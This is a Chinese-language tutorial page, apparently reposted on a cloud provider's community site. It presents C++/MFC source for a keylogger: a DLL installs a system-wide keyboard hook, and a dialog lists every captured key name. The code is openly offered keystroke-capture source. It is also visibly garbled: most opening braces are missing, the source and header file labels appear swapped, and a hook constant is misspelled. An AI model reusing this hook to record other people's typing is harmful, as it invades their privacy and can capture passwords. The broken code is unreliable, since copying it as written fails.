C++鍵盤記錄程式碼_C 語言

來源:互聯網
上載者:User

本文執行個體講述了C++鍵盤記錄程式。分享給大家供大家參考。具體分析如下:

主程式如下:

就是基於對話方塊的架構,加個個OnHookKey函數,

複製代碼 代碼如下:
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //處理自訂訊息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format("按鍵:%s\r\n", szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

在初始化時,調用DLL中的:
複製代碼 代碼如下:
SetKeyHook(TRUE, 0, m_hWnd)

在析構時,調用DLL中的:
複製代碼 代碼如下:
SetKeyHook(FALSE);

.cpp源檔案代碼:

複製代碼 代碼如下:
#include <afxwin.h> 
#define  HM_KEY WM_USER+100 
//CMyApp 
class CMyApp:public CWinApp 

public: 
    BOOL InitInstance(); 
}; 
 
//CMyDialog 
class CMainDialog:public CDialog 

public: 
    CMainDialog(CWnd* pParentWnd = NULL); 
 
protected: 
    virtual BOOL OnInitDialog( ); 
    afx_msg void OnCancel(); 
    afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //處理自訂訊息的聲明 
 
    DECLARE_MESSAGE_MAP() 
};

.h標頭檔代碼:

複製代碼 代碼如下:
#include "resource.h" 
#include "KeyHookApp.h" 
#include "KeyHook.h" 
#pragma comment(lib,"KeyHook.lib") 
 
CMyApp theApp; 
 
BOOL CMyApp::InitInstance() 

    CMainDialog dlg; 
    m_pMainWnd = &dlg;   //給m_pMainWnd 主視窗 
    dlg.DoModal(); 
    return FALSE; //不進入訊息迴圈 

 
BEGIN_MESSAGE_MAP(CMainDialog, CDialog) 
    ON_MESSAGE(HM_KEY, OnHookKey) //自訂訊息 
END_MESSAGE_MAP() 
 
//CMainDialog 
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)   
{   
 
}  
BOOL CMainDialog::OnInitDialog( ) 

    CDialog::OnInitDialog(); 
    if (!SetKeyHook(TRUE, 0, m_hWnd)) 
    { 
        MessageBox("安裝鉤子失敗"); 
    } 
     
    return TRUE; 

//處理關閉訊息 
void CMainDialog::OnCancel() 

    OutputDebugString("oncancel"); 
    SetKeyHook(FALSE); 
    CDialog::OnCancel(); 
    return; 

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //處理自訂訊息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format("按鍵:%s\r\n", szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

dll的代碼:
.cpp源檔案代碼:

複製代碼 代碼如下:
// KeyHook.cpp : 定義 DLL 應用程式的匯出函數。 
// 
 
#include "stdafx.h" 
#include "KeyHook.h" 
 
 
//共用資料區段 
#pragma data_seg("YCIShared") 
HWND g_hWndCaller=NULL; //儲存主視窗控制代碼 
HHOOK g_hHook = NULL; //儲存鉤子控制代碼  
#pragma data_seg() 
// 這是匯出變數的一個樣本 
KEYHOOK_API int nKeyHook=0; 
 
// 這是匯出函數的一個樣本。 
KEYHOOK_API int fnKeyHook(void) 

    return 42; 

 
 
//通過記憶體得到模組控制代碼的協助函數 
HMODULE WINAPI ModuleFromAddress(LPVOID pv) 

    MEMORY_BASIC_INFORMATION  mbi; 
    if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) 
    { 
        return (HMODULE)mbi.AllocationBase; 
    } 
    else 
    { 
        return NULL; 
    } 

//鉤子處理函數 
LRESULT CALLBACK KeyboardProc( 
    __in  int code, 
    __in  WPARAM wParam, 
    __in  LPARAM lParam 
    ) 

    if (code<0||code==HC_NOREM) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //如果重複訊息,交給下一鏈 
    if (lParam & 0x40000000) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //通知主視窗 
    ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam); 
    return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
     

//安裝和卸載鉤子函數 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 

    BOOL bRet = TRUE; 
    g_hWndCaller = hWndCaller; 
    if (bInstall) //安裝鉤子 
    { 
        g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId); 
        bRet = (g_hHook != NULL); 
    } 
    else //卸載鉤子 
    { 
        ::UnhookWindowsHookEx(g_hHook); 
        g_hHook = NULL; 
    } 
    return bRet; 

// 這是已匯出類的建構函式。 
// 有關類定義的資訊,請參閱 KeyHook.h 
CKeyHook::CKeyHook() 

    return; 
}

.h標頭檔代碼:

複製代碼 代碼如下:
// 下列 ifdef 塊是建立使從 DLL 匯出更簡單的 
// 宏的標準方法。此 DLL 中的所有檔案都是用命令列上定義的 KEYHOOK_EXPORTS 
// 符號編譯的。在使用此 DLL 的 
// 任何其他項目上不應定義此符號。這樣,源檔案中包含此檔案的任何其他項目都會將 
// KEYHOOK_API 函數視為是從 DLL 匯入的,而此 DLL 則將用此宏定義的 
// 符號視為是被匯出的。 
#ifdef KEYHOOK_EXPORTS 
#define KEYHOOK_API __declspec(dllexport) 
#else 
#define KEYHOOK_API __declspec(dllimport) 
#endif 
 
#define  HM_KEY WM_USER + 100 
// 此類是從 KeyHook.dll 匯出的 
class KEYHOOK_API CKeyHook { 
public: 
    CKeyHook(void); 
    // TODO: 在此添加您的方法。 
}; 
 
extern KEYHOOK_API int nKeyHook; 
 
KEYHOOK_API int fnKeyHook(void); 
 
//聲明要匯出的 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);

.def代碼:

複製代碼 代碼如下:
EXPORTS 
    SetKeyHook 
SECTIONS 
    YCIShared  Read Write Shared

希望本文所述對大家的C++程式設計有所協助。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.